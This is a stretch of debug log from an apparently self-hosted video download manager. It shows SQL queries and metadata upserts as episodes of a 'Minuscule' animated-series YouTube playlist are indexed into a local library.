s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:31.711 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1065.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:31.712 [debug] QUERY OK source="media_items" db=1.0ms idle=1066.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-05 18:00:54Z], 4] 00:49:31.716 [debug] QUERY OK source="media_items" db=2.4ms idle=582.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Wasp Belle | S01E04\n00:04:49 | Torpedo | S01E52\n00:09:28 | Windswept | S01E68\n00:14:17 | Shell-Less | S01E19\n00:19:00 | On Your Marks, get set, go ! | S01E75\n00:23:49 | Hyperactive | S01E54\n00:28:30 | Cowardly Coward | S01E09\n00:33:19 | Zzzeplin | S01E22\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wasp #aerobatics #formation #stratosphere #Torpedo #Mosquito #Mustard #Jackhammer #Minuscule #nature #insects #ladybugs #animatedseries", "Wasp Belle | Minuscule 🍃 45' Compilation", "5041b06d-c129-4731-b1c6-2ba9fe39cda4", "Ks23sQgKGgQ", 2320, false, 4, "https://www.youtube.com/watch?v=Ks23sQgKGgQ", 38, "/downloads/Miniscule Season 1/2025-07-05 Wasp Belle | Minuscule 🍃 45' Compilation/Wasp Belle | Minuscule 🍃 45' Compilation [Ks23sQgKGgQ].mkv", false, false, false, [], 1, ~U[2025-07-05 18:00:54Z], ~U[2025-12-14 07:49:31Z], ~U[2025-12-14 07:49:31Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Wasp Belle | S01E04\n00:04:49 | Torpedo | S01E52\n00:09:28 | Windswept | S01E68\n00:14:17 | Shell-Less | S01E19\n00:19:00 | On Your Marks, get set, go ! | S01E75\n00:23:49 | Hyperactive | S01E54\n00:28:30 | Cowardly Coward | S01E09\n00:33:19 | Zzzeplin | S01E22\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wasp #aerobatics #formation #stratosphere #Torpedo #Mosquito #Mustard #Jackhammer #Minuscule #nature #insects #ladybugs #animatedseries", "Wasp Belle | Minuscule 🍃 45' Compilation", "Ks23sQgKGgQ", 2320, false, 4, "https://www.youtube.com/watch?v=Ks23sQgKGgQ", "/downloads/Miniscule Season 1/2025-07-05 Wasp Belle | Minuscule 🍃 45' Compilation/Wasp Belle | Minuscule 🍃 45' Compilation [Ks23sQgKGgQ].mkv", false, ~U[2025-07-05 18:00:54Z]] 00:49:31.717 [debug] QUERY OK source="sources" db=0.3ms idle=448.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:31.717 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:31.718 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91627] 00:49:31.718 [debug] Current batch of media processed. Will check again in 1000ms 00:49:32.719 [debug] Current batch of media processed. Will check again in 1000ms 00:49:33.720 [debug] Current batch of media processed. Will check again in 1000ms 00:49:34.721 [debug] Current batch of media processed. Will check again in 1000ms 00:49:35.722 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleepless Night | S01E50\n00:04:38 | Love Story | S01E03\n00:09:27 | Nap Time | S01E14\n00:14:16 | A Bee’s Night Out | S01E51\n00:19:04 | Caterpillar Dream | S01E20\n00:23:53 | Sleeping In | S01E12\n00:28:43 | A Snail’s Dream | S01E11\n00:33:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:38:15 | The Last Supper | S01E25\n00:43:05 | Leech | S01E73\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #moth #butterfly #sleep #insects #mating #soulmate #Minuscule #nature #ladybugs #animatedseries", "duration" => 2880, "filename" => "/downloads/Miniscule Season 1/2025-07-03 Sleepless Night | Minuscule 🍃 60' Compilation/Sleepless Night | Minuscule 🍃 60' Compilation [DhGXgrvRjNY].mkv", "id" => "DhGXgrvRjNY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DhGXgrvRjNY", "playlist_index" => 39, "timestamp" => 1751536818, "title" => "Sleepless Night | Minuscule 🍃 60' Compilation", "upload_date" => "20250703"} 00:49:35.723 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=446.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:35.724 [debug] QUERY OK source="sources" db=0.4ms idle=78.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:35.725 [debug] QUERY OK source="media_items" db=1.0ms idle=79.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 10:00:18Z], 4] 00:49:35.729 [debug] QUERY OK source="media_items" db=2.3ms idle=81.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleepless Night | S01E50\n00:04:38 | Love Story | S01E03\n00:09:27 | Nap Time | S01E14\n00:14:16 | A Bee’s Night Out | S01E51\n00:19:04 | Caterpillar Dream | S01E20\n00:23:53 | Sleeping In | S01E12\n00:28:43 | A Snail’s Dream | S01E11\n00:33:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:38:15 | The Last Supper | S01E25\n00:43:05 | Leech | S01E73\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #moth #butterfly #sleep #insects #mating #soulmate #Minuscule #nature #ladybugs #animatedseries", "Sleepless Night | Minuscule 🍃 60' Compilation", "e61189ce-a7da-4b24-977e-8d87f496f895", "DhGXgrvRjNY", 2880, false, 4, "https://www.youtube.com/watch?v=DhGXgrvRjNY", 39, "/downloads/Miniscule Season 1/2025-07-03 Sleepless Night | Minuscule 🍃 60' Compilation/Sleepless Night | Minuscule 🍃 60' Compilation [DhGXgrvRjNY].mkv", false, false, false, [], 1, ~U[2025-07-03 10:00:18Z], ~U[2025-12-14 07:49:35Z], ~U[2025-12-14 07:49:35Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleepless Night | S01E50\n00:04:38 | Love Story | S01E03\n00:09:27 | Nap Time | S01E14\n00:14:16 | A Bee’s Night Out | S01E51\n00:19:04 | Caterpillar Dream | S01E20\n00:23:53 | Sleeping In | S01E12\n00:28:43 | A Snail’s Dream | S01E11\n00:33:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:38:15 | The Last Supper | S01E25\n00:43:05 | Leech | S01E73\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #moth #butterfly #sleep #insects #mating #soulmate #Minuscule #nature #ladybugs #animatedseries", "Sleepless Night | Minuscule 🍃 60' Compilation", "DhGXgrvRjNY", 2880, false, 4, "https://www.youtube.com/watch?v=DhGXgrvRjNY", "/downloads/Miniscule Season 1/2025-07-03 Sleepless Night | Minuscule 🍃 60' Compilation/Sleepless Night | Minuscule 🍃 60' Compilation [DhGXgrvRjNY].mkv", false, ~U[2025-07-03 10:00:18Z]] 00:49:35.729 [debug] QUERY OK source="sources" db=0.2ms idle=84.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:35.730 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:35.731 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91628] 00:49:35.731 [debug] Current batch of media processed. Will check again in 1000ms 00:49:36.732 [debug] Current batch of media processed. Will check again in 1000ms 00:49:37.733 [debug] Current batch of media processed. Will check again in 1000ms 00:49:38.734 [debug] Current batch of media processed. Will check again in 1000ms 00:49:39.735 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Infernal Anthill | S01E35\n00:04:19 | Ants | S01E02\n00:09:08 | The Dung Beetle Battle | S01E15\n00:13:54 | Goofing Off | S01E37\n00:18:34 | The Quest For The Pink Lollipop | S01E32\n00:23:15 | Rosy | S01E38\n00:27:57 | Totem | S01E28\n00:32:43 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#competition #architecture #imagination #gravity #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2281, "filename" => "/downloads/Miniscule Season 1/2025-06-24 The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation/The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation [heiF55A_NBY].mkv", "id" => "heiF55A_NBY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=heiF55A_NBY", "playlist_index" => 40, "timestamp" => 1750744836, "title" => "The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation", "upload_date" => "20250624"} 00:49:39.736 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=451.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:39.737 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=91.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:39.738 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=92.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-24 06:00:36Z], 4] 00:49:39.757 [debug] QUERY OK source="media_items" db=17.7ms idle=94.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Infernal Anthill | S01E35\n00:04:19 | Ants | S01E02\n00:09:08 | The Dung Beetle Battle | S01E15\n00:13:54 | Goofing Off | S01E37\n00:18:34 | The Quest For The Pink Lollipop | S01E32\n00:23:15 | Rosy | S01E38\n00:27:57 | Totem | S01E28\n00:32:43 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#competition #architecture #imagination #gravity #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation", "464d5624-fda0-4523-9180-808fcc08aed7", "heiF55A_NBY", 2281, false, 4, "https://www.youtube.com/watch?v=heiF55A_NBY", 40, "/downloads/Miniscule Season 1/2025-06-24 The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation/The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation [heiF55A_NBY].mkv", false, false, false, [], 1, ~U[2025-06-24 06:00:36Z], ~U[2025-12-14 07:49:39Z], ~U[2025-12-14 07:49:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Infernal Anthill | S01E35\n00:04:19 | Ants | S01E02\n00:09:08 | The Dung Beetle Battle | S01E15\n00:13:54 | Goofing Off | S01E37\n00:18:34 | The Quest For The Pink Lollipop | S01E32\n00:23:15 | Rosy | S01E38\n00:27:57 | Totem | S01E28\n00:32:43 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#competition #architecture #imagination #gravity #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation", "heiF55A_NBY", 2281, false, 4, "https://www.youtube.com/watch?v=heiF55A_NBY", "/downloads/Miniscule Season 1/2025-06-24 The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation/The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation [heiF55A_NBY].mkv", false, ~U[2025-06-24 06:00:36Z]] 00:49:39.758 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=112.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:39.759 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=22.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:39.760 [debug] QUERY OK source="media_items" db=0.5ms idle=22.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91155] 00:49:39.760 [debug] Current batch of media processed. Will check again in 1000ms 00:49:40.761 [debug] Current batch of media processed. Will check again in 1000ms 00:49:41.762 [debug] Current batch of media processed. Will check again in 1000ms 00:49:42.763 [debug] Current batch of media processed. Will check again in 1000ms 00:49:43.764 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Cruel World | S01E46\n00:04:48 | Halloween Paranoid | S01E43\n00:09:37 | Lettuce | S01E48\n00:14:24 | King Size Camembert | S01E45\n00:19:03 | The Ladybug | S01E01\n00:23:39 | The Last Supper | S01E25\n00:28:29 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#centipede #chips #undergrowth #enemies #Halloween #paranoid #scare #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2014, "filename" => "/downloads/Miniscule Season 1/2025-06-17 A Cruel World | Minuscule 🍃 40' Compilation/A Cruel World | Minuscule 🍃 40' Compilation [wSbFheN58Bg].mp4", "id" => "wSbFheN58Bg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wSbFheN58Bg", "playlist_index" => 41, "timestamp" => 1750140053, "title" => "A Cruel World | Minuscule 🍃 40' Compilation", "upload_date" => "20250617"} 00:49:43.765 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=472.7ms 